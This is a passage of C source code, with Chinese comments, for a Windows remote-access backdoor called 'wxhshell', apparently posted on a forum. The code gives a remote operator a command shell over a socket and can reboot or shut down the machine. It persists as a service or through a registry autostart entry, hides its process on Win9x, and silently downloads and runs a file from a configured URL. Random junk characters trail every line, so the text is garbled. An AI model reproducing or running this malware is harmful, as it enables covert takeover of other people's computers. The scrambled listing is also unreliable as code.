  } 8l?piig#  
  else { ,6 !rR,0  
plu$h-$d  
    switch(cmd[0]) { *rZ^^`4R  
  J?JeU/:+  
  // 帮助 GSoZx0  
  case '?': { qrvsjYi*w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'Djm0  
    break; Uq_j\A;c  
  } ' /Bidb?  
  // 安装 UmnE@H"t$\  
  case 'i': { !{n<K:x1  
    if(Install()) 6J~12TU,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X1[CX&Am  
    else j#~Jxv%n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 22<0DhJ  
    break; ?.c;oS|  
    } +#b:d=v!  
  // 卸载 0c.s -  
  case 'r': { }),w1/#5u8  
    if(Uninstall()) t&5%?QyM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); be5,U\&z  
    else {u!)y?}I-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &~UJf4b|A  
    break; OX%MP!#KU  
    } )5JU:jNy  
  // 显示 wxhshell 所在路径 =K&\E2kA4  
  case 'p': { 6qe*@o  
    char svExeFile[MAX_PATH]; 6+V\t+aug  
    strcpy(svExeFile,"\n\r"); w#JJXXQI  
      strcat(svExeFile,ExeFile); M'`;{^<  
        send(wsh,svExeFile,strlen(svExeFile),0); -S,ln  
    break; [>#*B9  
    } < XTU8G  
  // 重启 %;D+k  
  case 'b': { k *R<,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4ww]9J  
    if(Boot(REBOOT)) [U#72+K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B .TB\j  
    else { &bgvy'p  
    closesocket(wsh); P^MOx4  
    ExitThread(0); ~.PO[hC  
    } .0u/|Yx  
    break; 2M)]!lYy  
    } Tj~IaU  
  // 关机 S1_6C:^k  
  case 'd': { qj0 1]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H4OhIxK  
    if(Boot(SHUTDOWN)) ky>wOaTmN6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NVIK>cT6  
    else { ,U*)2`[  
    closesocket(wsh); 4> ^K:/y  
    ExitThread(0); r4x3$M c  
    } ; )Kh;;e  
    break; &`Y!;@K9W#  
    } xX0-]Y h:  
  // 获取shell PqNFyQkl  
  case 's': { <)g8y A  
    CmdShell(wsh); <J(sR  
    closesocket(wsh); h0?2j)X_  
    ExitThread(0); x# ~ x;)  
    break; &X9Z W$C  
  } e98lhu"|H  
  // 退出 V&soN:HS  
  case 'x': { ,1q_pep~?%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _qvK*nE  
    CloseIt(wsh); VhT= l  
    break; in<Rq"L  
    } UV}73Sp  
  // 离开 5ep/h5*/  
  case 'q': { g u)=wu0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lf:uNl*D  
    closesocket(wsh); ` b !5^W  
    WSACleanup(); O2{)WWOT  
    exit(1); :ztr)  
    break; h@7FY  
        } ?^' 7+8C*J  
  } I O%6 O  
  } dAP|:&y@  
2LCB])X  
  // 提示信息 !>x|7   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lX:|iB  
} OE)~yKy  
  } ?EMK8;  
X.ONa_  
  return; 2c<&eX8"  
} $=sXAK9   
IUGz =%[  
// shell模块句柄 z s Qo$p  
int CmdShell(SOCKET sock) i$^)UZJ&0  
{ C0.'_  
STARTUPINFO si; eZ a:o1y  
ZeroMemory(&si,sizeof(si)); qLncn}oNM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %zC[KE*~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IM=bK U  
PROCESS_INFORMATION ProcessInfo; 0Q1FL MLV  
char cmdline[]="cmd"; @RD+xYm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #5sD{:f`  
  return 0; [~W`E1,  
} fsO9EEn7 X  
*IlaM'[*  
// 自身启动模式 Mv|ykJoz"  
int StartFromService(void) &a!BD/  
{ Gy1xG.yM~  
typedef struct u^I(Ny  
{ He0=-AR8  
  DWORD ExitStatus; ufa41$B'yG  
  DWORD PebBaseAddress; ]"AyAkT(  
  DWORD AffinityMask; m,3er*t{  
  DWORD BasePriority; <0|9Tn2O  
  ULONG UniqueProcessId; z!=P@b  
  ULONG InheritedFromUniqueProcessId; _ |<d5TI  
}   PROCESS_BASIC_INFORMATION; RVtQ20e";r  
-@^Zq}  
PROCNTQSIP NtQueryInformationProcess; (VyNvB  
mtic>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U5Erm6U:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ot&:mT!2  
fBBa4"OK=  
  HANDLE             hProcess; 8$xPex~2  
  PROCESS_BASIC_INFORMATION pbi; l>lW]W  
]!1OH |Ad  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?wMHS4  
  if(NULL == hInst ) return 0; K*K1(_x=  
5_K5?N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F}Mhs17!|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jsg I'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :/YO ni1h  
MFJE6ei  
  if (!NtQueryInformationProcess) return 0; MgnM,95  
c- $Gpa}M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n9LGP2#!  
  if(!hProcess) return 0; M"=n>;*X  
C`oa3B,z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; si1*Wt<3Bc  
_\5~>g_  
  CloseHandle(hProcess); 71FeDpe  
~>G]_H]?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `U!y&Q$,  
if(hProcess==NULL) return 0; GYRYbiwqdi  
'/0#lF  
HMODULE hMod; W:&R~R  
char procName[255]; k!jNOqbb  
unsigned long cbNeeded; J.*XXM- V  
K5 3MMH[q#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S6nhvU:  
qOCJTOg7  
  CloseHandle(hProcess); gLD`wfZR  
)G^TW'9  
if(strstr(procName,"services")) return 1; // 以服务启动 1F[L"W;r  
|wxGpBau  
  return 0; // 注册表启动 ~KjJ\b)R  
} ;:&?=d  
V BoMT:#  
// 主模块 ~ <0Z>qr  
int StartWxhshell(LPSTR lpCmdLine) :L?_Y/K  
{ FD7H@L5  
  SOCKET wsl; }pNX@C#De  
BOOL val=TRUE;  R)Q 4  
  int port=0; 9V1cdb~?"T  
  struct sockaddr_in door; P=AS>N^yaL  
O[~x_xeW  
  if(wscfg.ws_autoins) Install(); S{F-ttS"  
4Tzd; P6_  
port=atoi(lpCmdLine); uE_c4Hp  
xc 1A$EY  
if(port<=0) port=wscfg.ws_port; +,'T=Ic{  
@ $cUNvI  
  WSADATA data; `cP <}^]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \L!uHAE2a  
`&7RMa4=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r2*<\ax  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )9"oL!2h  
  door.sin_family = AF_INET; :LJ7ru2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :bM+&EP  
  door.sin_port = htons(port); Y,z??bm~J  
u.|~   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C.a5RF0  
closesocket(wsl); TT!ET<ciN  
return 1; Hy; Hs#  
} Y8s;w!/  
 {E9v`u\  
  if(listen(wsl,2) == INVALID_SOCKET) { E +_&HG}a  
closesocket(wsl); 3 &&+Y X  
return 1; bPD)D'Hs  
} $j` $[tX6l  
  Wxhshell(wsl); ( `' 8Ww  
  WSACleanup(); 6/ g%\ka  
(ClhbfzD  
return 0; V*n==Nb5L  
5vp|?-\h>  
} JV"NZvjN7d  
IFNWS,:  
// 以NT服务方式启动 %Tcf6cK"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^%bBW6eZ  
{ >mu)/kl  
DWORD   status = 0; J07O:cjyu  
  DWORD   specificError = 0xfffffff; mLL$|  
%5</ d5.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R|,7d:k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O;XG^s@5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w*LbH]l<-  
  serviceStatus.dwWin32ExitCode     = 0; Evu=M-?  
  serviceStatus.dwServiceSpecificExitCode = 0; /"AvOh*  
  serviceStatus.dwCheckPoint       = 0; K!{5 [G  
  serviceStatus.dwWaitHint       = 0; WnxEu3U  
`"y`AY/N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _."E%|5  
  if (hServiceStatusHandle==0) return; ,TC~~EWq  
y>o>WN<q  
status = GetLastError(); "ORzWnE4U  
  if (status!=NO_ERROR) QEJGnl676  
{ E:A!wS`"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IhonnLLW  
    serviceStatus.dwCheckPoint       = 0; H3FW52pjX  
    serviceStatus.dwWaitHint       = 0; Z[#IfbYt  
    serviceStatus.dwWin32ExitCode     = status; Ueyw;Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; 83;IyvbL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?T*";_o,B  
    return; |"k&fkS$  
  } ~uaP$*B[  
<! x+e E`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :X>DkRP  
  serviceStatus.dwCheckPoint       = 0; sOC&Q&eg  
  serviceStatus.dwWaitHint       = 0; x'`"iZO.t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4,1oU|fz  
} NrJzVGeS  
iyM^[/-R6  
// 处理NT服务事件,比如:启动、停止 /A(NuB<Pq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UVX"fZ)  
{ >]$aoA#  
switch(fdwControl) (Pi-uL<[a  
{ *3Nn +T  
case SERVICE_CONTROL_STOP: c?6d2jH.  
  serviceStatus.dwWin32ExitCode = 0; Q_P5MLU>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L7q |^`  
  serviceStatus.dwCheckPoint   = 0; }5gr5g\OtP  
  serviceStatus.dwWaitHint     = 0; v[#)GB _5  
  { cdp0!W4Gi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D1"7s,Hmu  
  } ,seFkG@1  
  return; c~tAvDX  
case SERVICE_CONTROL_PAUSE: vjK, I9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0-xCp ~vE  
  break; 1bRL"{m^)-  
case SERVICE_CONTROL_CONTINUE: &4kM8Qh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R2^iSl%pj  
  break; k/`i6%F#m  
case SERVICE_CONTROL_INTERROGATE: &hN,xpC  
  break; (([I]q  
}; P^IY: -s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  (K #A  
} f!g<3X{=  
rihlae5Kz  
// 标准应用程序主函数 tV`&- H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pz473d  
{ LM1b I4  
'j79GC0  
// 获取操作系统版本 %W;u}`  
OsIsNt=GetOsVer(); vjTwv+B"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Es;;t83p  
\3^Pjx  
  // 从命令行安装 Q4%IxR?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4 X`^{~  
<-)9>c:k  
  // 下载执行文件 :kp0EiJ  
if(wscfg.ws_downexe) { f5?hnt`m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T T"3^@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0xBY(#;Q  
} R<g=\XO'y  
JuJ5qIal  
if(!OsIsNt) { Kym:J \}9B  
// 如果时win9x,隐藏进程并且设置为注册表启动 [X|OrRA  
HideProc(); FmA-OqEpA  
StartWxhshell(lpCmdLine); .BL:h&h|y  
} raQYn?[  
else w-: D  
  if(StartFromService()) <nA3Sd"QfV  
  // 以服务方式启动 AQ}l%  
  StartServiceCtrlDispatcher(DispatchTable); RndOm.TE  
else iEhDaC[e(b  
  // 普通方式启动 Yq;&F0paK  
  StartWxhshell(lpCmdLine); OK\]*r  
#NF+UJYJ&'  
return 0; # U`&jBU  
}
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只看该作者 1 发表于: 2006-10-10
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